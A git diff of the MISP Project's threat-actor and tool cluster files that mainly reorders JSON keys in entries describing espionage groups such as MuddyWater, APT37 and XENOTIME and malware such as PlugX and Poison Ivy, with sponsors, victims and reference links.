- "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments",
- "https://www.cfr.org/interactive/cyber-operations/sowbug"
- ],
+ "cfr-suspected-state-sponsor": "Unknown",
"cfr-suspected-victims": [
"Argentina",
"Ecuador",
@@ -3432,25 +3442,22 @@
"Peru",
"Malaysia"
],
- "cfr-suspected-state-sponsor": "Unknown",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "refs": [
+ "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments",
+ "https://www.cfr.org/interactive/cyber-operations/sowbug"
]
},
- "description": "Sowbug has been conducting highly targeted cyber attacks against organizations in South America and Southeast Asia and appears to be heavily focused on foreign policy institutions and diplomatic targets. Sowbug has been seen mounting classic espionage attacks by stealing documents from the organizations it infiltrates. ",
- "value": "Sowbug",
- "uuid": "1ca3b039-404e-4132-88c2-4e41235cd2f5"
+ "uuid": "1ca3b039-404e-4132-88c2-4e41235cd2f5",
+ "value": "Sowbug"
},
{
+ "description": "The MuddyWater attacks are primarily against Middle Eastern nations. However, we have also observed attacks against surrounding nations and beyond, including targets in India and the USA. MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call “POWERSTATS”. Despite broad scrutiny and reports on MuddyWater attacks, the activity continues with only incremental changes to the tools and techniques.",
"meta": {
- "refs": [
- "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/",
- "https://www.cfr.org/interactive/cyber-operations/muddywater"
- ],
- "synonyms": [
- "TEMP.Zagros"
- ],
+ "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
"cfr-suspected-victims": [
"Saudi Arabia",
"Georgia",
@@ -3462,17 +3469,23 @@
"Pakistan",
"United States"
],
- "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "refs": [
+ "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/",
+ "https://www.cfr.org/interactive/cyber-operations/muddywater"
+ ],
+ "synonyms": [
+ "TEMP.Zagros"
]
},
- "description": "The MuddyWater attacks are primarily against Middle Eastern nations. However, we have also observed attacks against surrounding nations and beyond, including targets in India and the USA. MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call “POWERSTATS”. Despite broad scrutiny and reports on MuddyWater attacks, the activity continues with only incremental changes to the tools and techniques.",
- "value": "MuddyWater",
- "uuid": "a29af069-03c3-4534-b78b-7d1a77ea085b"
+ "uuid": "a29af069-03c3-4534-b78b-7d1a77ea085b",
+ "value": "MuddyWater"
},
{
+ "description": "In less than two years, this group has conducted over 20 successful attacks on financial institutions and legal firms in the USA, UK and Russia. The group has primarily been targeting card processing systems, including the AWS CBR (Russian Interbank System) and purportedly SWIFT (US). Given the wide usage of STAR in LATAM, financial institutions in LATAM could have particular exposure to a potential interest from the MoneyTaker group.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/moneytaker-hacker-group-steals-millions-from-us-and-russian-banks/",
@@ -3480,12 +3493,10 @@
"https://www.group-ib.com/blog/moneytaker"
]
},
- "description": "In less than two years, this group has conducted over 20 successful attacks on financial institutions and legal firms in the USA, UK and Russia. The group has primarily been targeting card processing systems, including the AWS CBR (Russian Interbank System) and purportedly SWIFT (US). Given the wide usage of STAR in LATAM, financial institutions in LATAM could have particular exposure to a potential interest from the MoneyTaker group.",
- "value": "MoneyTaker",
- "uuid": "7d78ec00-dfdc-4a80-a4da-63f1ae63bd7f"
+ "uuid": "7d78ec00-dfdc-4a80-a4da-63f1ae63bd7f",
+ "value": "MoneyTaker"
},
{
- "value": "Microcin",
"description": "We’re already used to the fact that complex cyberattacks use 0-day vulnerabilities, bypassing digital signature checks, virtual file systems, non-standard encryption algorithms and other tricks. Sometimes, however, all of this may be done in much simpler ways, as was the case in the malicious campaign that we detected a while ago – we named it ‘Microcin’ after microini, one of the malicious components used in it.",
"meta": {
"refs": [
@@ -3493,33 +3504,44 @@
"https://cdn.securelist.com/files/2017/09/Microcin_Technical_4PDF_eng_final_s.pdf"
]
},
- "uuid": "0a6b31cd-54cd-4f82-9b87-aab780604632"
+ "uuid": "0a6b31cd-54cd-4f82-9b87-aab780604632",
+ "value": "Microcin"
},
{
+ "description": "Lookout and Electronic Frontier Foundation (EFF) have discovered Dark Caracal, a persistent and prolific actor, who at the time of writing is believed to be administered out of a building belonging to the Lebanese General Security Directorate in Beirut. At present, we have knowledge of hundreds of gigabytes of exfiltrated data, in 21+ countries, across thousands of victims. Stolen data includes enterprise intellectual property and personally identifiable information.",
"meta": {
"country": "LB",
"refs": [
"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf"
]
},
- "value": "Dark Caracal",
- "description": "Lookout and Electronic Frontier Foundation (EFF) have discovered Dark Caracal, a persistent and prolific actor, who at the time of writing is believed to be administered out of a building belonging to the Lebanese General Security Directorate in Beirut. At present, we have knowledge of hundreds of gigabytes of exfiltrated data, in 21+ countries, across thousands of victims. Stolen data includes enterprise intellectual property and personally identifiable information.",
- "uuid": "3d449c83-4426-431a-b06a-cb4f8a0fca94"
+ "uuid": "3d449c83-4426-431a-b06a-cb4f8a0fca94",
+ "value": "Dark Caracal"
},
{
- "value": "Nexus Zeta",
"description": "Nexus Zeta is no stranger when it comes to implementing SOAP related exploits. The threat actor has already been observed in implementing two other known SOAP related exploits, CVE-2014–8361 and CVE-2017–17215 in his Satori botnet project. A third SOAP exploit, TR-069 bug has also been observed previously in IoT botnets. This makes EDB 38722 the fourth SOAP related exploit which is discovered in the wild by IoT botnets.",
"meta": {
"refs": [
"https://blog.newskysecurity.com/masuta-satori-creators-second-botnet-weaponizes-a-new-router-exploit-2ddc51cc52a7"
]
},
- "uuid": "8c21ce09-33c3-412c-bb55-323765e89a60"
+ "uuid": "8c21ce09-33c3-412c-bb55-323765e89a60",
+ "value": "Nexus Zeta"
},
{
- "value": "APT37",
"description": "APT37 has likely been active since at least 2012 and focuses on targeting the public and private sectors primarily in South Korea. In 2017, APT37 expanded its targeting beyond the Korean peninsula to include Japan, Vietnam and the Middle East, and to a wider range of industry verticals, including chemicals, electronics, manufacturing, aerospace, automotive and healthcare entities",
"meta": {
+ "cfr-suspected-state-sponsor": "Korea (Democratic People's Republic of)",
+ "cfr-suspected-victims": [
+ "Republic of Korea",
+ "Japan",
+ "Vietnam"
+ ],
+ "cfr-target-category": [
+ "Government",
+ "Private sector"
+ ],
+ "country": "KP",
"refs": [
"https://www.fireeye.com/blog/threat-research/2018/02/apt37-overlooked-north-korean-actor.html",
"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf",
@@ -3534,25 +3556,27 @@
"Reaper",
"Red Eyes",
"Ricochet Chollima"
- ],
- "country": "KP",
+ ]
+ },
+ "uuid": "50cd027f-df14-40b2-aa22-bf5de5061163",
+ "value": "APT37"
+ },
+ {
+ "description": "Leviathan is an espionage actor targeting organizations and high-value targets in defense and government. Active since at least 2014, this actor has long-standing interest in maritime industries, naval defense contractors, and associated research institutions in the United States and Western Europe.",
+ "meta": {
+ "cfr-suspected-state-sponsor": "China",
"cfr-suspected-victims": [
- "Republic of Korea",
- "Japan",
- "Vietnam"
+ "United States",
+ "Hong Kong",
+ "The Philippines",
+ "Asia Pacific Economic Cooperation"
],
- "cfr-suspected-state-sponsor": "Korea (Democratic People's Republic of)",
"cfr-target-category": [
"Government",
"Private sector"
- ]
- },
- "uuid": "50cd027f-df14-40b2-aa22-bf5de5061163"
- },
- {
- "value": "Leviathan",
- "description": "Leviathan is an espionage actor targeting organizations and high-value targets in defense and government. Active since at least 2014, this actor has long-standing interest in maritime industries, naval defense contractors, and associated research institutions in the United States and Western Europe.",
- "meta": {
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
"refs": [
"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html",
@@ -3560,27 +3584,24 @@
],
"synonyms": [
"TEMP.Periscope"
- ],
- "country": "CN",
+ ]
+ },
+ "uuid": "5b4b6980-3bc7-11e8-84d6-879aaac37dd9",
+ "value": "Leviathan"
+ },
+ {
+ "description": "Since at least 2014, an Iranian threat group tracked by FireEye as APT34 has conducted reconnaissance aligned with the strategic interests of Iran. The group conducts operations primarily in the Middle East, targeting financial, government, energy, chemical, telecommunications and other industries. Repeated targeting of Middle Eastern financial, energy and government organizations leads FireEye to assess that those sectors are a primary concern of APT34. The use of infrastructure tied to Iranian operations, timing and alignment with the national interests of Iran also lead FireEye to assess that APT34 acts on behalf of the Iranian government.",
+ "meta": {
+ "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
"cfr-suspected-victims": [
- "United States",
- "Hong Kong",
- "The Philippines",
- "Asia Pacific Economic Cooperation"
+ "Middle East"
],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Private sector"
- ]
- },
- "uuid": "5b4b6980-3bc7-11e8-84d6-879aaac37dd9"
- },
- {
- "value": "APT34",
- "description": "Since at least 2014, an Iranian threat group tracked by FireEye as APT34 has conducted reconnaissance aligned with the strategic interests of Iran. The group conducts operations primarily in the Middle East, targeting financial, government, energy, chemical, telecommunications and other industries. Repeated targeting of Middle Eastern financial, energy and government organizations leads FireEye to assess that those sectors are a primary concern of APT34. The use of infrastructure tied to Iranian operations, timing and alignment with the national interests of Iran also lead FireEye to assess that APT34 acts on behalf of the Iranian government.",
- "meta": {
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "IR",
"refs": [
"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf",
"https://www.wired.com/story/apt-34-iranian-hackers-critical-infrastructure-companies/ ",
@@ -3589,186 +3610,176 @@
],
"synonyms": [
"APT 34"
- ],
- "country": "IR",
- "cfr-suspected-victims": [
- "Middle East"
- ],
- "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Government",
- "Private sector"
]
},
- "uuid": "73a521f6-3bc7-11e8-9e30-df7c90e50dda"
+ "uuid": "73a521f6-3bc7-11e8-9e30-df7c90e50dda",
+ "value": "APT34"
},
{
- "value": "APT35",
"description": "FireEye has identified APT35 operations dating back to 2014. APT35, also known as the Newscaster Team, is a threat group sponsored by the Iranian government that conducts long term, resource-intensive operations to collect strategic intelligence. APT35 typically targets U.S. and the Middle Eastern military, diplomatic and government personnel, organizations in the media, energy and defense industrial base (DIB), and engineering, business services and telecommunications sectors.",
"meta": {
+ "country": "IR",
"refs": [
"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"
],
"synonyms": [
"APT 35",
"Newscaster Team"
- ],
- "country": "IR"
+ ]
},
- "uuid": "b8967b3c-3bc9-11e8-8701-8b1ead8c099e"
+ "uuid": "b8967b3c-3bc9-11e8-8701-8b1ead8c099e",
+ "value": "APT35"
},
{
- "value": "Operation Parliament",
"description": "Kaspersky Lab has been tracking a series of attacks utilizing unknown malware since early 2017. The attacks appear to be geopolitically motivated and target high profile organizations. The objective of the attacks is clearly espionage – they involve gaining access to top legislative, executive and judicial bodies around the world.",
"meta": {
"refs": [
"https://securelist.com/operation-parliament-who-is-doing-what/85237/"
]
},
- "uuid": "20f2d3a4-3ee7-11e8-8e78-837fd23517e0"
+ "uuid": "20f2d3a4-3ee7-11e8-8e78-837fd23517e0",
+ "value": "Operation Parliament"
},
{
- "value": "Orangeworm",
"description": "Symantec has identified a previously unknown group called Orangeworm that has been observed installing a custom backdoor called Trojan.Kwampirs within large international corporations that operate within the healthcare sector in the United States, Europe, and Asia.\nFirst identified in January 2015, Orangeworm has also conducted targeted attacks against organizations in related industries as part of a larger supply-chain attack in order to reach their intended victims. Known victims include healthcare providers, pharmaceuticals, IT solution providers for healthcare and equipment manufacturers that serve the healthcare industry, likely for the purpose of corporate espionage.",
"meta": {
"refs": [
"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
]
},
- "uuid": "35d71626-4794-11e8-b74d-bbcbe48fee3c"
+ "uuid": "35d71626-4794-11e8-b74d-bbcbe48fee3c",
+ "value": "Orangeworm"
},
{
- "value": "ALLANITE",
"description": "Adversaries abusing ICS (based on Dragos Inc adversary list).",
"meta": {
+ "capabilities": "Powershell scripts, THC Hydra, SecretsDump, Inveigh, PSExec",
+ "mode-of-operation": "Watering-hole and phishing leading to ICS recon and screenshot collection",
"refs": [
"https://dragos.com/adversaries.html",
"https://dragos.com/blog/20180510Allanite.html"
],
- "mode-of-operation": "Watering-hole and phishing leading to ICS recon and screenshot collection",
"since": "2017",
- "capabilities": "Powershell scripts, THC Hydra, SecretsDump, Inveigh, PSExec",
- "victimology": "Electric utilities, US and UK",
"synonyms": [
"Palmetto Fusion"
- ]
+ ],
+ "victimology": "Electric utilities, US and UK"
},
- "uuid": "a9000eaf-2b75-4ec7-8dcf-fe1bb5c77470"
+ "uuid": "a9000eaf-2b75-4ec7-8dcf-fe1bb5c77470",
+ "value": "ALLANITE"
},
{
- "value": "CHRYSENE",
"description": "Adversaries abusing ICS (based on Dragos Inc adversary list).",
"meta": {
+ "capabilities": "Watering holes, 64-bit malware, covert C2 via IPv6 DNS, ISMDOOR",
+ "mode-of-operation": "IT compromise, information gathering and recon against industrial orgs",
"refs": [
"https://dragos.com/adversaries.html",
"https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf"
],
- "mode-of-operation": "IT compromise, information gathering and recon against industrial orgs",
"since": "2017",
- "capabilities": "Watering holes, 64-bit malware, covert C2 via IPv6 DNS, ISMDOOR",
- "victimology": "Oil and Gas, Manufacturing, Europe, MENA, North America",
"synonyms": [
"OilRig",
"Greenbug"
- ]
+ ],
+ "victimology": "Oil and Gas, Manufacturing, Europe, MENA, North America"
},
- "uuid": "a0082cfa-32e2-42b8-92d8-5c7a7409dcf1"
+ "uuid": "a0082cfa-32e2-42b8-92d8-5c7a7409dcf1",
+ "value": "CHRYSENE"
},
{
- "value": "COVELLITE",
"description": "Adversaries abusing ICS (based on Dragos Inc adversary list).",
"meta": {
+ "capabilities": "Encoded binaries in documents, evasion techniques",
+ "mode-of-operation": "IT compromise with hardened anti-analysis malware against industrial orgs",
"refs": [
"https://dragos.com/adversaries.html",
"https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf"
],
- "mode-of-operation": "IT compromise with hardened anti-analysis malware against industrial orgs",
"since": "2017",
- "capabilities": "Encoded binaries in documents, evasion techniques",
- "victimology": "Electric Utilities, US",
"synonyms": [
"Lazarus",
"Hidden Cobra"
- ]
+ ],
+ "victimology": "Electric Utilities, US"
},
- "uuid": "027a1428-6e79-4a4b-82b9-e698e8525c2b"
+ "uuid": "027a1428-6e79-4a4b-82b9-e698e8525c2b",
+ "value": "COVELLITE"
},
{
- "value": "DYMALLOY",
"description": "Adversaries abusing ICS (based on Dragos Inc adversary list).",
"meta": {
+ "capabilities": "GOODOR, DORSHEL, KARAGANY, Mimikatz",
+ "mode-of-operation": "Deep ICS environment information gathering, operator credentials, industrial process details",
"refs": [
"https://dragos.com/adversaries.html",
"https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf"
],
- "mode-of-operation": "Deep ICS environment information gathering, operator credentials, industrial process details",
"since": "2016",
- "capabilities": "GOODOR, DORSHEL, KARAGANY, Mimikatz",
- "victimology": "Turkey, Europe, US",
"synonyms": [
"Dragonfly2",
"Berserker Bear"
- ]
+ ],
+ "victimology": "Turkey, Europe, US"
},
- "uuid": "a08ab076-33c1-4350-b021-650c34277f2d"
+ "uuid": "a08ab076-33c1-4350-b021-650c34277f2d",
+ "value": "DYMALLOY"
},
{
- "value": "MAGNALLIUM",
"description": "Adversaries abusing ICS (based on Dragos Inc adversary list).",
"meta": {
- "refs": [
- "https://dragos.com/adversaries.html",
- "https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf",
- "https://www.cfr.org/interactive/cyber-operations/apt-33"
- ],
- "mode-of-operation": "IT network limited, information gathering against industrial orgs",
- "since": "2016",
"capabilities": "STONEDRILL wiper, variants of TURNEDUP malware",
- "victimology": "Petrochemical, Aerospace, Saudi Arabia",
- "synonyms": [
- "APT33"
- ],
+ "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
"cfr-suspected-victims": [
"United States",
"Saudi Arabia",
"South Korea"
],
- "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Private sector"
- ]
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "mode-of-operation": "IT network limited, information gathering against industrial orgs",
+ "refs": [
+ "https://dragos.com/adversaries.html",
+ "https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf",
+ "https://www.cfr.org/interactive/cyber-operations/apt-33"
+ ],
+ "since": "2016",
+ "synonyms": [
+ "APT33"
+ ],
+ "victimology": "Petrochemical, Aerospace, Saudi Arabia"
},
- "uuid": "accd848b-b8f4-46ba-a408-9063b35cfbf2"
+ "uuid": "accd848b-b8f4-46ba-a408-9063b35cfbf2",
+ "value": "MAGNALLIUM"
},
{
- "value": "XENOTIME",
"description": "Adversaries abusing ICS (based on Dragos Inc adversary list).",
"meta": {
+ "capabilities": "TRISIS, custom credential harvesting",
+ "mode-of-operation": "Focused on physical destruction and long-term persistence",
"refs": [
"https://dragos.com/adversaries.html"
],
- "mode-of-operation": "Focused on physical destruction and long-term persistence",
"since": "2014",
- "capabilities": "TRISIS, custom credential harvesting",
- "victimology": "Oil and Gas, Middle East",
- "synonyms": []
+ "synonyms": [],
+ "victimology": "Oil and Gas, Middle East"
},
- "uuid": "3dddc77e-a52a-466a-bf1c-1463e352077f"
+ "uuid": "3dddc77e-a52a-466a-bf1c-1463e352077f",
+ "value": "XENOTIME"
},
{
- "value": "ZooPark",
"description": "ZooPark is a cyberespionage operation that has been focusing on Middle Eastern targets since at least June 2015. The threat actors behind ZooPark infect Android devices using several generations of malware we label from v1-v4, with v4 being the most recent version deployed in 2017.",
"meta": {
"refs": [
"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/05/03095519/ZooPark_for_public_final.pdf"
]
},
- "uuid": "4defbf2e-4f73-11e8-807f-578d61da7568"
+ "uuid": "4defbf2e-4f73-11e8-807f-578d61da7568",
+ "value": "ZooPark"
},
{
- "value": "LuckyMouse",
"description": "Experts assigned the codename of LuckyMouse to the group behind this hack, but they later realized the attackers were an older Chinese threat actor known under various names in the reports of other cyber-security firms, such as Emissary Panda, APT27, Threat Group 3390, Bronze Union, ZipToken, and Iron Tiger",
"meta": {
"refs": [
@@ -3788,20 +3799,20 @@
"Iron Tiger"
]
},
- "uuid": "4af45fea-72d3-11e8-846c-d37699506c8d"
+ "uuid": "4af45fea-72d3-11e8-846c-d37699506c8d",
+ "value": "LuckyMouse"
},
{
- "value": "Thrip",
"description": "Symantec have been monitoring Thrip since 2013 when they uncovered a spying campaign being orchestrated from systems based in China. Since their initial discovery, the group has changed its tactics and broadened the range of tools it used. Initially, it relied heavily on custom malware, but in this most recent wave of attacks, which began in 2017, the group has switched to a mixture of custom malware and living off the land tools. All of these tools, with the exception of Mimikatz (which is almost always used maliciously), have legitimate uses.",
"meta": {
"refs": [
"https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets"
]
},
- "uuid": "1533bc1a-745a-11e8-90e3-efa3e975fef3s"
+ "uuid": "1533bc1a-745a-11e8-90e3-efa3e975fef3s",
+ "value": "Thrip"
},
{
- "value": "RANCOR",
"description": "The Rancor group’s attacks use two primary malware families which are naming DDKONG and PLAINTEE. DDKONG is used throughout the campaign and PLAINTEE appears to be new addition to these attackers’ toolkit. Countries Unit 42 has identified as targeted by Rancor with these malware families include, but are not limited to Singapore and Cambodia.",
"meta": {
"refs": [
@@ -3811,10 +3822,10 @@
"Rancor group"
]
},
- "uuid": "79c7c7e0-79d5-11e8-9b9c-1ff96be20c0b"
+ "uuid": "79c7c7e0-79d5-11e8-9b9c-1ff96be20c0b",
+ "value": "RANCOR"
},
{
- "value": "The Big Bang",
"description": "While it is not clear exactly what the attacker is looking for, what is clear is that once he finds it, a second stage of the attack awaits, fetching additional modules and/or malware from the Command and Control server. This then is a surveillance attack in progress and has been dubbed ‘Big Bang’ due to the attacker’s fondness for the ‘Big Bang Theory’ TV show, after which some of the malware’s modules are named.",
"meta": {
"refs": [
@@ -3822,40 +3833,40 @@
"https://blog.talosintelligence.com/2017/06/palestine-delphi.html"
]
},
- "uuid": "a3cc5105-3bc6-498b-8d53-981e12d86909"
+ "uuid": "a3cc5105-3bc6-498b-8d53-981e12d86909",
+ "value": "The Big Bang"
},
{
- "value": "Subaat",
"description": "In mid-July, Palo Alto Networks Unit 42 identified a small targeted phishing campaign aimed at a government organization. While tracking the activities of this campaign, we identified a repository of additional malware, including a web server that was used to host the payloads used for both this attack as well as others.",
"meta": {
"refs": [
"https://researchcenter.paloaltonetworks.com/2017/10/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/"
]
},
- "uuid": "a7bc4ef2-971a-11e8-9bf0-13aa7d6d8651"
+ "uuid": "a7bc4ef2-971a-11e8-9bf0-13aa7d6d8651",
+ "value": "Subaat"
},
{
- "value": "The Gorgon Group",
"description": "Unit 42 researchers have been tracking Subaat, an attacker, since 2017. Recently Subaat drew our attention due to renewed targeted attack activity. Part of monitoring Subaat included realizing the actor was possibly part of a larger crew of individuals responsible for carrying out targeted attacks against worldwide governmental organizations. Technical analysis on some of the attacks as well as attribution links with Pakistan actors have been already depicted by 360 and Tuisec, in which they found interesting connections to a larger group of attackers Unit 42 researchers have been tracking, which we are calling Gorgon Group.",
- "uuid": "e47c2c4d-706b-4098-92a2-b93e7103e131",
"meta": {
"refs": [
"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
]
- }
+ },
+ "uuid": "e47c2c4d-706b-4098-92a2-b93e7103e131",
+ "value": "The Gorgon Group"
},
{
- "value": "DarkHydrus",
"description": "In July 2018, Unit 42 analyzed a targeted attack using a novel file type against at least one government agency in the Middle East. It was carried out by a previously unpublished threat group we track as DarkHydrus. Based on our telemetry, we were able to uncover additional artifacts leading us to believe this adversary group has been in operation with their current playbook since early 2016. This attack diverged from previous attacks we observed from this group as it involved spear-phishing emails sent to targeted organizations with password protected RAR archive attachments that contained malicious Excel Web Query files (.iqy).",
- "uuid": "ce2c2dfd-2445-4fbc-a747-9e7092e383f9",
"meta": {
"refs": [
"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
]
- }
+ },
+ "uuid": "ce2c2dfd-2445-4fbc-a747-9e7092e383f9",
+ "value": "DarkHydrus"
},
{
- "value": "RedAlpha",
"description": "Recorded Future’s Insikt Group has identified two new cyberespionage campaigns targeting the Tibetan Community over the past two years. The campaigns, which we are collectively naming RedAlpha, combine light reconnaissance, selective targeting, and diverse malicious tooling. We discovered this activity as the result of pivoting off of a new malware sample observed targeting the Tibetan community based in India.",
"meta": {
"refs": [
@@ -3863,20 +3874,9 @@
"https://go.recordedfuture.com/hubfs/reports/cta-2018-0626.pdf"
]
},
- "uuid": "71a3b962-9a36-11e8-88f8-b31d20c6fa2a"
+ "uuid": "71a3b962-9a36-11e8-88f8-b31d20c6fa2a",
+ "value": "RedAlpha"
}
],
- "name": "Threat actor",
- "type": "threat-actor",
- "source": "MISP Project",
- "authors": [
- "Alexandre Dulaunoy",
- "Florian Roth",
- "Thomas Schreck",
- "Timo Steffens",
- "Various"
- ],
- "description": "Known or estimated adversary groups targeting organizations and employees. Adversary groups are regularly confused with their initial operation or campaign.",
- "uuid": "7cdff317-a673-4474-84ec-4f1754947823",
"version": 51
}
diff --git a/clusters/tool.json b/clusters/tool.json
index 3d3e3ce..fcfe7cb 100644
--- a/clusters/tool.json
+++ b/clusters/tool.json
@@ -1,11 +1,25 @@
{
- "uuid": "0d821b68-9d82-4c6d-86a6-1071a9e0f79f",
+ "authors": [
+ "Alexandre Dulaunoy",
+ "Florian Roth",
+ "Timo Steffens",
+ "Christophe Vandeplas",
+ "Dennis Rand",
+ "raw-data"
+ ],
"description": "threat-actor-tools is an enumeration of tools used by adversaries. The list includes malware but also common software regularly used by the adversaries.",
+ "name": "Tool",
"source": "MISP Project",
- "version": 83,
+ "type": "tool",
+ "uuid": "0d821b68-9d82-4c6d-86a6-1071a9e0f79f",
"values": [
{
+ "description": "Banking Malware",
"meta": {
+ "refs": [
+ "https://thehackernews.com/search/label/Zusy%20Malware",
+ "http://blog.trendmicro.com/trendlabs-security-intelligence/the-tinbatinybanker-malware/"
+ ],
"synonyms": [
"Hunter",
"Zusy",
@@ -13,18 +27,17 @@
],
"type": [
"Banking"
- ],
- "refs": [
- "https://thehackernews.com/search/label/Zusy%20Malware",
- "http://blog.trendmicro.com/trendlabs-security-intelligence/the-tinbatinybanker-malware/"
]
},
- "description": "Banking Malware",
- "value": "Tinba",
- "uuid": "75f53ead-1aee-4f91-8cb9-b4170d747cfc"
+ "uuid": "75f53ead-1aee-4f91-8cb9-b4170d747cfc",
+ "value": "Tinba"
},
{
+ "description": "Malware",
"meta": {
+ "refs": [
+ "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/112/pulling-the-plug-on-plugx"
+ ],
"synonyms": [
"Backdoor.FSZO-5117",
"Trojan.Heur.JP.juW@ayZZvMb",
@@ -34,16 +47,13 @@
],
"type": [
"Backdoor"
- ],
- "refs": [
- "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/112/pulling-the-plug-on-plugx"
]
},
- "description": "Malware",
- "value": "PlugX",
- "uuid": "f4b159ea-97e5-483b-854b-c48a78d562aa"
+ "uuid": "f4b159ea-97e5-483b-854b-c48a78d562aa",
+ "value": "PlugX"
},
{
+ "description": " Trojan (RAT) linked to current targeted attacks and others dating back to at least early 2009",
"meta": {
"refs": [
"https://www.zscaler.com/pdf/whitepapers/msupdater_trojan_whitepaper.pdfx"
@@ -52,11 +62,11 @@
"Backdoor"
]
},
- "description": " Trojan (RAT) linked to current targeted attacks and others dating back to at least early 2009",
- "value": "MSUpdater",
- "uuid": "f85d2d5a-6e3c-44e4-bd3b-6100c04b4ba9"
+ "uuid": "f85d2d5a-6e3c-44e4-bd3b-6100c04b4ba9",
+ "value": "MSUpdater"
},
{
+ "description": "A password sthealing tool regularly used by attackers",
"meta": {
"refs": [
"https://github.com/AlessandroZ/LaZagne"
@@ -65,29 +75,29 @@
"HackTool"
]
},
- "description": "A password sthealing tool regularly used by attackers",
- "value": "Lazagne",
- "uuid": "d0394d50-5316-4405-aa77-1070bdf68b6a"
+ "uuid": "d0394d50-5316-4405-aa77-1070bdf68b6a",
+ "value": "Lazagne"
},
{
+ "description": "Poison Ivy is a RAT which was freely available and first released in 2005.",
"meta": {
+ "refs": [
+ "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf",
+ "https://www.f-secure.com/v-descs/backdoor_w32_poisonivy.shtml"
+ ],
"synonyms": [
"Backdoor.Win32.PoisonIvy",
"Gen:Trojan.Heur.PT"
],
"type": [
"Backdoor"
- ],
- "refs": [
- "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf",
- "https://www.f-secure.com/v-descs/backdoor_w32_poisonivy.shtml"
]
},
- "description": "Poison Ivy is a RAT which was freely available and first released in 2005.",
- "value": "Poison Ivy",
- "uuid": "2abe89de-46dd-4dae-ae22-b49a593aff54"
+ "uuid": "2abe89de-46dd-4dae-ae22-b49a593aff54",
+ "value": "Poison Ivy"
},
{
+ "description": "In March 2016, Unit 42 observed this new Poison Ivy variant we’ve named SPIVY being deployed via weaponized documents leveraging CVE-2015-2545.",
"meta": {
"refs": [
"http://researchcenter.paloaltonetworks.com/2016/04/unit42-new-poison-ivy-rat-variant-targets-hong-kong-pro-democracy-activists/"
@@ -96,20 +106,19 @@
"Backdoor"
]
},
- "description": "In March 2016, Unit 42 observed this new Poison Ivy variant we’ve named SPIVY being deployed via weaponized documents leveraging CVE-2015-2545.",
- "value": "SPIVY",
- "uuid": "a3d2e7fe-a8e4-48c7-8d47-b9430898af08"
+ "uuid": "a3d2e7fe-a8e4-48c7-8d47-b9430898af08",
+ "value": "SPIVY"
},
{
"meta": {
+ "refs": [
+ "https://www.crowdstrike.com/blog/whois-anchor-panda/"
+ ],
"synonyms": [
"Anchor Panda"
],
"type": [
"Backdoor"
- ],
- "refs": [
- "https://www.crowdstrike.com/blog/whois-anchor-panda/"
]
},
"uuid": "32a67552-3b31-47bb-8098-078099bbc813",
@@ -117,22 +126,26 @@
},
{
"meta": {
+ "refs": [
+ "https://blog.fortinet.com/2016/08/29/german-speakers-targeted-by-spam-leading-to-ozone-rat"
+ ],
"synonyms": [
"Ozone RAT",
"ozonercp"
],
"type": [
"Backdoor"
- ],
- "refs": [
- "https://blog.fortinet.com/2016/08/29/german-speakers-targeted-by-spam-leading-to-ozone-rat"
]
},
"uuid": "e3010d81-94e2-43a9-98ed-61925b02be6e",
"value": "OzoneRAT"
},
{
+ "description": "ZeGhots is a RAT which was freely available and first released in 2014.",
"meta": {
+ "refs": [
